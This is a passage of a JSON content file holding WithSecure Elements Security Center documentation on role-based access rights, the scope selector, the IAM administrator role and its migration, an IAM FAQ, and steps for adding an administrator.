", "content.p_access_rights_by_role_0000A8F2": "or epp: readonly", "content.title_access_rights_by_role_0000ACC6": "Endpoint Protection – Servers", "content.dt_access_rights_by_role_000065A4": "Full editing", "content.dd_access_rights_by_role_0000A885": "", "content.dd_p_access_rights_by_role_0000B80A": "Allows the access to the following features:
", "choice.choice_access_rights_by_role_00006F98": "Security configurations/profiles", "choice.choice_access_rights_by_role_00006E4C": "Security information, including device status, dashboard, security events and software updates", "choice.choice_access_rights_by_role_0000FDDC": "Security operations, such as removing or isolating devices, updating profiles", "choice.choice_access_rights_by_role_00006F92": "Handling subscriptions", "choice.choice_access_rights_by_role_00003033": "Managing user accounts", "content.note_access_rights_by_role_00001A5F": "Note: The Security Administrator role, along with the \"Computers and mobiles - Full editing\" role is required to create additional administrators and assign this role to users within the same organization (will be replaced by the IAM role).
", "content.dd_p_access_rights_by_role_000029AF": "Audit logs entry: epp: manage_servers_only
", "content.dd_p_access_rights_by_role_0000C46F": "or epp_manage_all
", "content.dt_access_rights_by_role_00007F2C": "Read-only", "content.p_access_rights_by_role_0000B75F": "Audit logs entry: epp: manage_computers_mobiles_only
", "content.p_access_rights_by_role_000077BB": "epp: readonly", "content.title_access_rights_by_role_00003502": "Extended Detection and Response – Toggle off", "content.dt_access_rights_by_role_0000DFC8": "No access", "content.dd_access_rights_by_role_00006E65": "", "content.dd_p_access_rights_by_role_000086AB": "No access rights to view Extended Detection and Response (XDR) content across the following areas:
", "choice.choice_access_rights_by_role_0000769B": "Broad Context Detections", "choice.choice_access_rights_by_role_000058A8": "Response actions", "choice.choice_access_rights_by_role_00003EF6": "Automated actions", "choice.choice_access_rights_by_role_00004BF3": "Dashboard content related to Detection and Response", "choice.choice_access_rights_by_role_0000A9F5": "Software Reputation", "choice.choice_access_rights_by_role_000068F3": "Organization Settings related to Detection and Response", "choice.choice_access_rights_by_role_0000CE8A": "Event Search pages", "choice.choice_access_rights_by_role_000018B4": "Elevate to WithSecure", "choice.choice_access_rights_by_role_0000FFA4": "Subscription view", "content.title_access_rights_by_role_0000671D": "Extended Detection and Response – Broad Context Detections", "content.dt_access_rights_by_role_00003D87": "Full editing", "content.dd_access_rights_by_role_00001CF4": "", "content.dd_p_access_rights_by_role_00006D37": "Permission to manage:
", "choice.choice_access_rights_by_role_0000F89A": "Broad Context Detections (for example, change status and close detections)", "choice.choice_access_rights_by_role_00007EC3": "My Reports", "choice.choice_access_rights_by_role_0000FA93": "Detection and Response-related content on the Dashboard", "choice.choice_access_rights_by_role_000095A6": "Software Reputation and Organization Settings related to Detection and Response", "choice.choice_access_rights_by_role_00004A44": "Elevate to WithSecure when applicable", "choice.choice_access_rights_by_role_0000A7EB": "Requests", "content.dd_p_access_rights_by_role_000062CA": "Limited access to:
", "choice.choice_access_rights_by_role_0000C72E": "Devices view", "choice.choice_access_rights_by_role_0000919E": "Cloud view", "choice.choice_access_rights_by_role_000049AB": "Subscription view", "content.dd_p_access_rights_by_role_000051EB": "Issuing Quick Actions requires additional roles, such as Execute Responses.
", "content.note_access_rights_by_role_0000C4BA": "Note: This does not grant permission to configure the Cloud Tenant. Full editing rights under Computers and Mobiles are required for that level of access.
", "content.dd_p_access_rights_by_role_00007806": "Audit logs entry: elements: xdr-incident-full
", "content.dt_access_rights_by_role_0000782D": "Read-only", "content.dd_access_rights_by_role_0000725B": "", "content.dd_p_access_rights_by_role_000008B8": "Default value when Extended Detection and Response (XDR), which allows read-only access to:
", "choice.choice_access_rights_by_role_00008CE1": "Broad Context Detections", "choice.choice_access_rights_by_role_0000FAEF": "My Reports", "choice.choice_access_rights_by_role_0000122C": "Detection and Response-related content on the Dashboard", "choice.choice_access_rights_by_role_0000C711": "Software Reputation", "choice.choice_access_rights_by_role_0000D865": "Organization Settings related to Detection and Response", "choice.choice_access_rights_by_role_00009070": "Elevate to WithSecure when applicable", "choice.choice_access_rights_by_role_000036C2": "Devices", "choice.choice_access_rights_by_role_0000593B": "Cloud views", "choice.choice_access_rights_by_role_00004C6E": "Requests", "content.dd_p_access_rights_by_role_0000FBBF": "Access to the Subscription view is limited.
", "content.dd_p_access_rights_by_role_0000106C": "Audit logs entry: elements: xdr-incident-read
", "content.title_access_rights_by_role_000024EF": "Extended Detection and Response – Response", "content.dt_access_rights_by_role_0000C22B": "Execute responses", "content.dd_access_rights_by_role_0000864D": "", "content.dd_p_access_rights_by_role_00007C0B": "Access to execute:
", "choice.choice_access_rights_by_role_00007FC9": "response actions", "choice.choice_access_rights_by_role_00003BCB": "configure Automated actions", "content.dd_p_access_rights_by_role_00004E1C": "Limited access to Cloud view.
", "content.dd_p_access_rights_by_role_000015E4": "Audit logs entry: elements: xdr-response-full
", "content.dt_access_rights_by_role_00007FB0": "List responses", "content.dd_access_rights_by_role_0000C0CB": "", "content.dd_p_access_rights_by_role_00004B16": "Access to review:
", "choice.choice_access_rights_by_role_0000A056": "executed response actions", "choice.choice_access_rights_by_role_00002414": "respective results available", "content.dd_p_access_rights_by_role_00006D48": "Limited access to:
", "choice.choice_access_rights_by_role_0000DE31": "Devices view", "choice.choice_access_rights_by_role_00000964": "Cloud view", "content.dd_p_access_rights_by_role_000019D6": "Download response results requires the Execute Responses permission.
", "content.dd_p_access_rights_by_role_00000517": "Access to the Subscription view is limited.
", "content.dd_p_access_rights_by_role_0000DB5A": "Audit logs entry: elements: xdr-response-read
", "content.dt_access_rights_by_role_0000FD0C": "No access", "content.dd_access_rights_by_role_000094F0": "", "content.dd_p_access_rights_by_role_00002F09": "No access to execute or review:
", "choice.choice_access_rights_by_role_0000352B": "Response actions", "choice.choice_access_rights_by_role_00006769": "Automated actions", "content.title_access_rights_by_role_00002E1A": "Extended Detection and Response – Event Search", "content.dt_access_rights_by_role_000015D9": "Read-only", "content.p_access_rights_by_role_00003D85": "Access to the Subscription view is limited.
", "content.p_access_rights_by_role_00009F1E": "Audit logs entry: elements: xdr-event-search", "content.dt_access_rights_by_role_0000052B": "No access", "content.dd_access_rights_by_role_0000070D": "No access to review event data.", "content.title_access_rights_by_role_0000E949": "Elements Administration", "content.dt_access_rights_by_role_000007BF": "No access", "content.dd_access_rights_by_role_000009C2": "No rights to create new users or manage other users access rights.", "content.dt_access_rights_by_role_0000B4AC": "Identity and Access Management", "content.dd_access_rights_by_role_000041F7": "Rights to create, delete and manage all Elements users.", "desc": [ "content.title_access_rights_by_role_000022C6", { "dl.dl_access_rights_by_role_000041BF": [ { "dlentry.dlentry_access_rights_by_role_0000966F": [ "content.dt_access_rights_by_role_0000CC85", "content.dd_access_rights_by_role_0000B825", "content.dd_p_access_rights_by_role_000040CB", { "choices.ul_access_rights_by_role_0000FDC3": [ "choice.choice_access_rights_by_role_00006838", "choice.choice_access_rights_by_role_000015FC", "choice.choice_access_rights_by_role_000008BF", "choice.choice_access_rights_by_role_00004E39", "choice.choice_access_rights_by_role_0000DAB4" ] }, "content.note_access_rights_by_role_0000FFDD", "content.dd_p_access_rights_by_role_0000F8A6" ] } ] }, "content.title_access_rights_by_role_00005222", { "dl.dl_access_rights_by_role_00000747": [ { "dlentry.dlentry_access_rights_by_role_0000CE9F": [ "content.dt_access_rights_by_role_00001EA9", "content.dd_access_rights_by_role_00002C3D", "content.dd_p_access_rights_by_role_0000BBF3", "content.note_access_rights_by_role_0000527A", "content.dd_p_access_rights_by_role_0000690F" ] }, { "dlentry.dlentry_access_rights_by_role_0000851B": [ "content.dt_access_rights_by_role_000086E4", "content.dd_access_rights_by_role_0000B8D9" ] }, { "dlentry.dlentry_access_rights_by_role_00005BA7": [ "content.dt_access_rights_by_role_00009E01", "content.dd_access_rights_by_role_0000AD10" ] } ] }, "content.title_access_rights_by_role_0000BE4B", { "dl.dl_access_rights_by_role_00004CCA": [ { "dlentry.dlentry_access_rights_by_role_00007A88": [ "content.dt_access_rights_by_role_0000E69D", "content.dd_access_rights_by_role_0000137D", "content.dd_p_access_rights_by_role_00001187", { "choices.ul_access_rights_by_role_000090CE": [ "choice.choice_access_rights_by_role_00008767", "choice.choice_access_rights_by_role_00002206", "choice.choice_access_rights_by_role_0000E393" ] }, "content.dd_p_access_rights_by_role_0000DB2F" ] }, { "dlentry.dlentry_access_rights_by_role_00009B4C": [ "content.dt_access_rights_by_role_00003A0D", "content.dd_access_rights_by_role_0000CDB4" ] }, { "dlentry.dlentry_access_rights_by_role_00007A32": [ "content.dt_access_rights_by_role_0000CECF", "content.dd_access_rights_by_role_0000EF2F" ] } ] }, "content.title_access_rights_by_role_00003474", { "dl.dl_access_rights_by_role_0000094E": [ { "dlentry.dlentry_access_rights_by_role_0000D39F": [ "content.dt_access_rights_by_role_0000FD21", "content.dd_access_rights_by_role_00007BB5", "content.dd_p_access_rights_by_role_00003119", "content.note_access_rights_by_role_00008B99", "content.dd_p_access_rights_by_role_0000B5C8" ] } ] }, "content.title_access_rights_by_role_0000FDA1", { "dl.dl_access_rights_by_role_00008C2D": [ { "dlentry.dlentry_access_rights_by_role_00000AA0": [ "content.dt_access_rights_by_role_0000872A", "content.dd_access_rights_by_role_0000C7F4", "content.dd_p_access_rights_by_role_00005FBB", { "choices.ul_access_rights_by_role_00005699": [ "choice.choice_access_rights_by_role_0000A698", "choice.choice_access_rights_by_role_0000A6AB", "choice.choice_access_rights_by_role_000049F8", "choice.choice_access_rights_by_role_0000A343", "choice.choice_access_rights_by_role_0000ACDE", "choice.choice_access_rights_by_role_0000DDAE", "choice.choice_access_rights_by_role_0000AF9A", "choice.choice_access_rights_by_role_00008CE7" ] }, "content.note_access_rights_by_role_000076F5" ] } ] }, "content.title_access_rights_by_role_0000BD4D", { "dl.dl_access_rights_by_role_00006FFA": [ { "dlentry.dlentry_access_rights_by_role_00003D96": [ "content.dt_access_rights_by_role_0000DEEF", "content.dd_access_rights_by_role_00008B24", "content.dd_p_access_rights_by_role_000033DE", { "choices.ul_access_rights_by_role_00002A0B": [ "choice.choice_access_rights_by_role_00009E2B", "choice.choice_access_rights_by_role_0000E367", "choice.choice_access_rights_by_role_0000FD81", "choice.choice_access_rights_by_role_0000AF5F", "choice.choice_access_rights_by_role_0000B010", "choice.choice_access_rights_by_role_0000362D" ] }, "content.note_access_rights_by_role_0000F0EF", "content.dd_p_access_rights_by_role_0000341D", "content.dd_p_access_rights_by_role_000038BC" ] }, { "dlentry.dlentry_access_rights_by_role_0000EC5A": [ "content.dt_access_rights_by_role_00009EF6", "content.p_access_rights_by_role_0000B6C7", "content.p_access_rights_by_role_0000A8F2" ] } ] }, "content.title_access_rights_by_role_0000ACC6", { "dl.dl_access_rights_by_role_0000FBF0": [ { "dlentry.dlentry_access_rights_by_role_00000BF7": [ "content.dt_access_rights_by_role_000065A4", "content.dd_access_rights_by_role_0000A885", "content.dd_p_access_rights_by_role_0000B80A", { "choices.ul_access_rights_by_role_00005CDF": [ "choice.choice_access_rights_by_role_00006F98", "choice.choice_access_rights_by_role_00006E4C", "choice.choice_access_rights_by_role_0000FDDC", "choice.choice_access_rights_by_role_00006F92", "choice.choice_access_rights_by_role_00003033" ] }, "content.note_access_rights_by_role_00001A5F", "content.dd_p_access_rights_by_role_000029AF", "content.dd_p_access_rights_by_role_0000C46F" ] }, { "dlentry.dlentry_access_rights_by_role_00008FB4": [ "content.dt_access_rights_by_role_00007F2C", "content.p_access_rights_by_role_0000B75F", "content.p_access_rights_by_role_000077BB" ] } ] }, "content.title_access_rights_by_role_00003502", { "dl.dl_access_rights_by_role_0000CA51": [ { "dlentry.dlentry_access_rights_by_role_00002465": [ "content.dt_access_rights_by_role_0000DFC8", "content.dd_access_rights_by_role_00006E65", "content.dd_p_access_rights_by_role_000086AB", { "choices.ul_access_rights_by_role_000035D7": [ "choice.choice_access_rights_by_role_0000769B", "choice.choice_access_rights_by_role_000058A8", "choice.choice_access_rights_by_role_00003EF6", "choice.choice_access_rights_by_role_00004BF3", "choice.choice_access_rights_by_role_0000A9F5", "choice.choice_access_rights_by_role_000068F3", "choice.choice_access_rights_by_role_0000CE8A", "choice.choice_access_rights_by_role_000018B4", "choice.choice_access_rights_by_role_0000FFA4" ] } ] } ] }, "content.title_access_rights_by_role_0000671D", { "dl.dl_access_rights_by_role_00000AAA": [ { "dlentry.dlentry_access_rights_by_role_000046B6": [ "content.dt_access_rights_by_role_00003D87", "content.dd_access_rights_by_role_00001CF4", "content.dd_p_access_rights_by_role_00006D37", { "choices.ul_access_rights_by_role_0000C9E8": [ "choice.choice_access_rights_by_role_0000F89A", "choice.choice_access_rights_by_role_00007EC3", "choice.choice_access_rights_by_role_0000FA93", "choice.choice_access_rights_by_role_000095A6", "choice.choice_access_rights_by_role_00004A44", "choice.choice_access_rights_by_role_0000A7EB" ] }, "content.dd_p_access_rights_by_role_000062CA", { "choices.ul_access_rights_by_role_00003DB0": [ "choice.choice_access_rights_by_role_0000C72E", "choice.choice_access_rights_by_role_0000919E", "choice.choice_access_rights_by_role_000049AB" ] }, "content.dd_p_access_rights_by_role_000051EB", "content.note_access_rights_by_role_0000C4BA", "content.dd_p_access_rights_by_role_00007806" ] }, { "dlentry.dlentry_access_rights_by_role_00000D06": [ "content.dt_access_rights_by_role_0000782D", "content.dd_access_rights_by_role_0000725B", "content.dd_p_access_rights_by_role_000008B8", { "choices.ul_access_rights_by_role_000064D5": [ "choice.choice_access_rights_by_role_00008CE1", "choice.choice_access_rights_by_role_0000FAEF", "choice.choice_access_rights_by_role_0000122C", "choice.choice_access_rights_by_role_0000C711", "choice.choice_access_rights_by_role_0000D865", "choice.choice_access_rights_by_role_00009070", "choice.choice_access_rights_by_role_000036C2", "choice.choice_access_rights_by_role_0000593B", "choice.choice_access_rights_by_role_00004C6E" ] }, "content.dd_p_access_rights_by_role_0000FBBF", "content.dd_p_access_rights_by_role_0000106C" ] } ] }, "content.title_access_rights_by_role_000024EF", { "dl.dl_access_rights_by_role_000004E8": [ { "dlentry.dlentry_access_rights_by_role_00006DED": [ "content.dt_access_rights_by_role_0000C22B", "content.dd_access_rights_by_role_0000864D", "content.dd_p_access_rights_by_role_00007C0B", { "choices.ul_access_rights_by_role_00009507": [ "choice.choice_access_rights_by_role_00007FC9", "choice.choice_access_rights_by_role_00003BCB" ] }, "content.dd_p_access_rights_by_role_00004E1C", "content.dd_p_access_rights_by_role_000015E4" ] }, { "dlentry.dlentry_access_rights_by_role_00005FA5": [ "content.dt_access_rights_by_role_00007FB0", "content.dd_access_rights_by_role_0000C0CB", "content.dd_p_access_rights_by_role_00004B16", { "choices.ul_access_rights_by_role_00008CC0": [ "choice.choice_access_rights_by_role_0000A056", "choice.choice_access_rights_by_role_00002414" ] }, "content.dd_p_access_rights_by_role_00006D48", { "choices.ul_access_rights_by_role_0000F34C": [ "choice.choice_access_rights_by_role_0000DE31", "choice.choice_access_rights_by_role_00000964" ] }, "content.dd_p_access_rights_by_role_000019D6", "content.dd_p_access_rights_by_role_00000517", "content.dd_p_access_rights_by_role_0000DB5A" ] }, { "dlentry.dlentry_access_rights_by_role_0000F0F7": [ "content.dt_access_rights_by_role_0000FD0C", "content.dd_access_rights_by_role_000094F0", "content.dd_p_access_rights_by_role_00002F09", { "choices.ul_access_rights_by_role_0000F7B0": [ "choice.choice_access_rights_by_role_0000352B", "choice.choice_access_rights_by_role_00006769" ] } ] } ] }, "content.title_access_rights_by_role_00002E1A", { "dl.dl_access_rights_by_role_00005A64": [ { "dlentry.dlentry_access_rights_by_role_0000E976": [ "content.dt_access_rights_by_role_000015D9", "content.p_access_rights_by_role_00003D85", "content.p_access_rights_by_role_00009F1E" ] }, { "dlentry.dlentry_access_rights_by_role_0000BA4D": [ "content.dt_access_rights_by_role_0000052B", "content.dd_access_rights_by_role_0000070D" ] } ] }, "content.title_access_rights_by_role_0000E949", { "dl.dl_access_rights_by_role_0000C9DA": [ { "dlentry.dlentry_access_rights_by_role_0000097D": [ "content.dt_access_rights_by_role_000007BF", "content.dd_access_rights_by_role_000009C2" ] }, { "dlentry.dlentry_access_rights_by_role_000003F2": [ "content.dt_access_rights_by_role_0000B4AC", "content.dd_access_rights_by_role_000041F7" ] } ] } ] }, "using_scope_selector-2-latest-en.json": { "title": "title_using_scope_selector_0000012A7", "title_using_scope_selector_0000012A7": "Move between the managed companies", "shortdesc": "shortdesc_using_scope_selector_00000659D", "shortdesc_using_scope_selector_00000659D": "Use the scope selector to broaden or narrow the scope of information displayed in WithSecure Elements Security Center. ", "content.p_using_scope_selector_00001FB1C": "In Elements Security Center, there are different account levels, which determine the access rights:", "step.step_using_scope_selector_00001A9BB": "Solution Providers (SoPs) manage Service Partners and groups of companies. They can access Elements Security Center to manage security and subscriptions for their directly managed companies, their Service Partners, and their Service Partners' companies.", "step.step_using_scope_selector_00001EBFD": "Service Partners (SePs) manage a group of companies. They can access Elements Security Center to manage security for their directly managed companies.", "step.step_using_scope_selector_0000156F9": "Each company manages a single company. Companies that are managed by a SoP or SeP can request access from their provider, whereas companies that manage their own security can be provided full access to Elements Security Center. Companies that are managed by a SoP or SeP or directly by WithSecure get read-only rights to Elements Security Center.", "content.p_using_scope_selector_00002D82A": "To use the scope selector to focus on a particular company:", "content.p_using_scope_selector_000022B07": "A dropdown menu is displayed, listing all the customer companies associated with your account.
", "step.step_using_scope_selector_000023B15": "Select the icon at the title bar.", "content.p_using_scope_selector_00002CF7A": "The name of the selected company is shown with a blue background color and the page is updated to show the relevant information for the selected company.", "step.step_using_scope_selector_0000261E0": "Select the desired company or write its name in the Search field, and then select Enter.", "desc": [ "content.p_using_scope_selector_00001FB1C", { "steps.ul_using_scope_selector_00001F41C": [ "step.step_using_scope_selector_00001A9BB", "step.step_using_scope_selector_00001EBFD", "step.step_using_scope_selector_0000156F9" ] }, "content.p_using_scope_selector_00002D82A", { "steps.steps_using_scope_selector_000020ACB": [ "step.step_using_scope_selector_000023B15", "content.p_using_scope_selector_000022B07", "step.step_using_scope_selector_0000261E0", "content.p_using_scope_selector_00002CF7A" ] } ] }, "identity_and_access_management_roles-latest-en.json": { "title": "title_iam_roles_000001_4DE26FEB", "title_iam_roles_000001_4DE26FEB": "Elements Identity and Access Management (IAM) role", "shortdesc": "shortdesc_iam_roles_000002_08EC97CA", "shortdesc_iam_roles_000002_08EC97CA": "The Identity and Access Management (IAM) role is authorized to grant and revoke all Elements permissions for security administrators within the IAM administrator's own organization and affiliated entities.", "content.title_iam_roles_000013_879B064C": "Overview", "content.p_iam_roles_000014_43524D14": "The IAM role is a powerful role within WithSecure Elements. It is designed to streamline and enhance the management of security capabilities and services.", "content.p_iam_roles_000016_05844C81": "IAM administrators have the authority to manage security roles within their own organization and affiliated entities. This includes granting and revoking roles for security administrators.", "content.p_iam_roles_000017_9E7D9E59": "As the Elements ecosystem expands, IAM administrators will also manage new capabilities and services, eliminating the need for a cumbersome self-registration process.", "content.p_iam_roles_000019_FAAF7210": "Security administrators access Elements Security Center using WithSecure business accounts. Their access is organized according to specific features, capabilities, and services. The IAM role simplifies the process of assigning roles across different capabilities, which was complex before.", "content.title_iam_roles_00001C_F519DFBA": "Benefits", "content.p_iam_roles_00001D_B0ED07DF": "The IAM role provides several benefits, including the following:", "step.step_iam_roles_00001F_1B15B464": "Streamlined role management across WithSecure Elements", "step.step_iam_roles_000021_E1591C08": "Enhanced security through centralized control", "step.step_iam_roles_000022_AD972C48": "Adapting to future needs with the ability to manage new capabilities and services", "content.title_iam_roles_000023_388F444E": "Claiming the IAM role", "content.p_iam_roles_000024_6EB1C7CF": "For users whose IAM role does not involve an escalation of privilege (i.e., they posses all legacy user access management roles within the organization), the Security Administrators view shows a banner offering them the opportunity to claim the new IAM administrator role. Every organization should carefully consider how they manage IAM-related privileges, as these are distinct from security administrative roles. So, fewer individuals can act as IAM administrators compared to when this option was not available.", "desc": [ "content.title_iam_roles_000013_879B064C", "content.p_iam_roles_000014_43524D14", "content.p_iam_roles_000016_05844C81", "content.p_iam_roles_000017_9E7D9E59", "content.p_iam_roles_000019_FAAF7210", "content.title_iam_roles_00001C_F519DFBA", "content.p_iam_roles_00001D_B0ED07DF", { "steps.ul_iam_roles_00001E_D3C5EECF": [ "step.step_iam_roles_00001F_1B15B464", "step.step_iam_roles_000021_E1591C08", "step.step_iam_roles_000022_AD972C48" ] }, "content.title_iam_roles_000023_388F444E", "content.p_iam_roles_000024_6EB1C7CF" ] }, "elements_iam_role_properties-latest-en.json": { "title": "title_iam_role_properties_000001E7D3", "title_iam_role_properties_000001E7D3": "Elements IAM role properties", "shortdesc": "shortdesc_iam_role_properties_000002BEB3", "shortdesc_iam_role_properties_000002BEB3": "Holders of the IAM role (also known as IAM administrators) can grant or revoke access to any other capability or service-specific role within their organization and its child organizations.", "content.p_iam_role_properties_0000127AD3": "IAM administrators can do the following:", "step.step_iam_role_properties_00001490C5": "Grant themselves any other role, so they gain access to security capabilities or services", "step.step_iam_role_properties_00001537B3": "Grant or revoke new roles introduced by WithSecure for Elements capabilities or services", "step.step_iam_role_properties_000018FF40": "Create or delete WithSecure business accounts by granting or revoking roles.", "step.step_iam_role_properties_00001A0D84": "Transfer IAM permissions to other security administrators within the same organization or its child organizations.", "content.title_iam_role_properties_00001B8C8A": "Acquiring the IAM role", "content.p_iam_role_properties_00001CC61A": "Organizations that manage their own security or provide security capabilities to others must have at least one IAM administrator. The IAM role can be acquired by one of the following ways:", "step.step_iam_role_properties_00001EE6F4": "Being granted the role by another IAM administrator within the same or a parent organization", "step.step_iam_role_properties_00001F1C46": "Self-registration with an Elements subscription issued for the company", "step.step_iam_role_properties_000021A578": "Onboarding by WithSecure for new partners or customer companies", "content.p_iam_role_properties_000023B505": "Existing capability or service-specific roles remain effective but they will eventually be managed through the IAM role. The IAM role will also safeguard access to features that are currently managed by other roles, such as configuring API keys.", "content.title_iam_role_properties_0000244C81": "Migration of IAM permissions", "content.p_iam_role_properties_000025B961": "The migration process aims to transition from legacy, capability-specific IAM roles to the new Elements IAM role, which grants higher privileges. During this process, Elements identifies eligible users and prompts them to claim the new IAM role.", "content.p_iam_role_properties_000028A66B": "Candidates for the IAM role are identified based on their possession of legacy, capability-specific IAM roles and by reviewing active company subscriptions:", "content.dt_iam_role_properties_00002B077C": "For customer companies", "content.dd_iam_role_properties_00002C6271": "Security administrators with the following identified legacy roles:", "choice.choice_iam_role_properties_00002E9B37": "Elements Exposure Management: Full editing", "choice.choice_iam_role_properties_0000302816": "Elements Collaboration Protection: Management administrator", "choice.choice_iam_role_properties_000032998F": "Elements Vulnerability Management: Administrator", "choice.choice_iam_role_properties_000034FB0C": "Elements Endpoint Protection - Computers, servers, and mobiles: Full editing", "content.dt_iam_role_properties_0000377C48": "For Solution Providers and Service Partners", "content.dd_iam_role_properties_00003826AB": "Security administrators with legacy roles for all capabilities and services used by the companies they manage", "content.note_iam_role_properties_00003976D2": "Note: The policy for partners differs from that for customer companies, making sure that only eligible administrators claim the IAM role.", "content.title_iam_role_properties_00003AF30A": "When IAM administrator candidate cannot be identified", "content.p_iam_role_properties_00003BAD2D": "In some organizations, the allocation of legacy, capability-specific roles among security administrators may result in a situation where no single user possesses the same effective access as that granted by the IAM role. This could occur, for example, if a company employs both Elements Endpoint Protection and Elements Collaboration Protection capabilities, but these capabilities are managed independently by two different individuals, with no one person overseeing both at the same time.", "desc": [ "content.p_iam_role_properties_0000127AD3", { "steps.ul_iam_role_properties_00001327A0": [ "step.step_iam_role_properties_00001490C5", "step.step_iam_role_properties_00001537B3", "step.step_iam_role_properties_000018FF40", "step.step_iam_role_properties_00001A0D84" ] }, "content.title_iam_role_properties_00001B8C8A", "content.p_iam_role_properties_00001CC61A", { "steps.ul_iam_role_properties_00001D25CB": [ "step.step_iam_role_properties_00001EE6F4", "step.step_iam_role_properties_00001F1C46", "step.step_iam_role_properties_000021A578" ] }, "content.p_iam_role_properties_000023B505", "content.title_iam_role_properties_0000244C81", "content.p_iam_role_properties_000025B961", "content.p_iam_role_properties_000028A66B", { "dl.dl_iam_role_properties_0000299550": [ { "dlentry.dlentry_iam_role_properties_00002AC0B9": [ "content.dt_iam_role_properties_00002B077C", "content.dd_iam_role_properties_00002C6271", { "choices.ul_iam_role_properties_00002DE08F": [ "choice.choice_iam_role_properties_00002E9B37", "choice.choice_iam_role_properties_0000302816", "choice.choice_iam_role_properties_000032998F", "choice.choice_iam_role_properties_000034FB0C" ] } ] }, { "dlentry.dlentry_iam_role_properties_0000364FDA": [ "content.dt_iam_role_properties_0000377C48", "content.dd_iam_role_properties_00003826AB" ] } ] }, "content.note_iam_role_properties_00003976D2", "content.title_iam_role_properties_00003AF30A", "content.p_iam_role_properties_00003BAD2D" ] }, "concept_iw3_twq_ydc-latest-en.json": { "title": "title_iam_faq_000001_F3B2B884", "title_iam_faq_000001_F3B2B884": "Frequently asked questions about IAM roles", "shortdesc": "shortdesc_iam_faq_000002_D914476F", "shortdesc_iam_faq_000002_D914476F": "Answers to frequently asked questions about IAM roles.", "cell.stentry_iam_faq_000012_B74C5100": "Question", "cell.stentry_iam_faq_000013_5A1253EC": "Answer", "cell.stentry_iam_faq_000015_AE7D775A": "Can partners (SOP/SEP) create IAM roles for all companies under them?", "cell.stentry_iam_faq_000016_2EE755F0": "Yes, IAM administrators at the partner level can fully manage their own organization and organizations under them excluding companies that have chosen to isolate their XM/CP access from SOPs.", "cell.stentry_iam_faq_000018_C9353928": "What should a company administrator do if the company misses the IAM deadline (end of April 2025)?", "cell.stentry_iam_faq_000019_25F77B9D": "The company administrator must contact their Service partner for assistance or reach out to WithSecure support.", "cell.stentry_iam_faq_00001C_43DF120B": "When creating a new user using the self-registration portal, does the first administrator get an IAM role automatically?", "cell.stentry_iam_faq_00001D_E7A4A094": "Yes, the first administrator is granted the IAM role automatically.", "cell.stentry_iam_faq_00001F_6C46222F": "What happens if someone accidentally selects Decline when claiming the highest-level administrative role?", "cell.stentry_iam_faq_000020_83A4C20F": "If a user accidentally declines the IAM role claim, any other IAM administrator can still assign them an IAM role, if necessary.", "cell.stentry_iam_faq_000022_41F8F53E": "Can an Endpoint Protection administrator user who selects Decline still add other Endpoint Protection administrator users?", "cell.stentry_iam_faq_000024_82AE189E": "Yes, for time being, this is still possible. In the future, all user management action rights will be restricted to IAM role holders only.", "cell.stentry_iam_faq_000026_5CC2F058": "Can one organization have multiple IAM administrator users?", "cell.stentry_iam_faq_000027_25B348F4": "Yes, there is no limit to the number of IAM administrators that an organization can have.", "cell.stentry_iam_faq_000029_9A3FE98E": "Why are the Claim and Decline options not displayed for some administrator users?", "cell.stentry_iam_faq_00002A_B6810BE7": "In the first stage, the IAM Claim button is shown to users who have full administrator rights on all products for which the organization has subscriptions. For example, if a company has subscriptions for Elements Endpoint Protection and Collaboration Protection, the IAM Claim button is shown to users with full administrator roles on both products.", "cell.stentry_iam_faq_00002D_7E1F0D92": "How can I identify who in my organization has claimed an IAM role?", "cell.stentry_iam_faq_00002E_963FD5D8": "The IAM role is shown, and users with the role can be filtered in a table under Management > Security Administrators.", "desc": [ { "table.table_question-answer": [ { "thead.sthead_iam_faq_000011_A75130F9": [ "cell.stentry_iam_faq_000012_B74C5100", "cell.stentry_iam_faq_000013_5A1253EC" ] }, { "row.strow_iam_faq_000014_8ADAC512": [ "cell.stentry_iam_faq_000015_AE7D775A", "cell.stentry_iam_faq_000016_2EE755F0" ] }, { "row.strow_iam_faq_000017_27FFC6E2": [ "cell.stentry_iam_faq_000018_C9353928", "cell.stentry_iam_faq_000019_25F77B9D" ] }, { "row.strow_iam_faq_00001B_3424C72C": [ "cell.stentry_iam_faq_00001C_43DF120B", "cell.stentry_iam_faq_00001D_E7A4A094" ] }, { "row.strow_iam_faq_00001E_D5651717": [ "cell.stentry_iam_faq_00001F_6C46222F", "cell.stentry_iam_faq_000020_83A4C20F" ] }, { "row.strow_iam_faq_000021_6F03503D": [ "cell.stentry_iam_faq_000022_41F8F53E", "cell.stentry_iam_faq_000024_82AE189E" ] }, { "row.strow_iam_faq_000025_6EB12FBA": [ "cell.stentry_iam_faq_000026_5CC2F058", "cell.stentry_iam_faq_000027_25B348F4" ] }, { "row.strow_iam_faq_000028_768CC468": [ "cell.stentry_iam_faq_000029_9A3FE98E", "cell.stentry_iam_faq_00002A_B6810BE7" ] }, { "row.strow_iam_faq_00002C_1AB5DEB6": [ "cell.stentry_iam_faq_00002D_7E1F0D92", "cell.stentry_iam_faq_00002E_963FD5D8" ] } ] } ] }, "add_admin_account_company-latest-en.json": { "title": "title_add_admin_account_compan_0E990", "title_add_admin_account_compan_0E990": "Add a new administrator", "shortdesc": "shortdesc_add_admin_account_compan_0EA86", "shortdesc_add_admin_account_compan_0EA86": "You can provide a designated individual, known as an administrator, with a user account with required rights in WithSecure Elements Security Center. ", "content.p_add_admin_account_compan_0E901": "You can add an administrator for the Solution Provider, Service Partner, or for a company account.", "content.p_add_admin_account_compan_02E3C": "To create an administrator account:", "content.p_add_admin_account_compan_0835D": "The Organization Settings page opens.", "step.step_add_admin_account_compan_0CE76": "Under Management, select Organization Settings on the sidebar.", "content.note_add_admin_account_compan_0A9C9": "Note: You can create an administrator account for either your Elements Security Center account or for a specific customer company", "step.step_add_admin_account_compan_0180E": "Select the Security Administrators tab.", "step.step_add_admin_account_compan_0EE89": "Using the scope selector, select the organization level on which you want to create a new administrator account.", "step.step_add_admin_account_compan_05C29": "Select Add administrator.", "content.note_add_admin_account_compan_0EBD4": "Note: The email address must be a valid one and accessible by an actual account user. Do not use shared accounts.", "substep.substep_add_admin_account_compan_03189": "Enter the email address.", "substep.substep_add_admin_account_compan_0F04E": "Select the desired language for the new administrator.", "step.step_add_admin_account_compan_05C41": "In the Add administrator screen, enter the administrator details:", "step.step_add_admin_account_compan_02638": "Select Next.", "content.note_add_admin_account_compan_044DD": "Note: If the new administrator is not allowed to have a full access in a feature-specific role, leave the default No access option as is.", 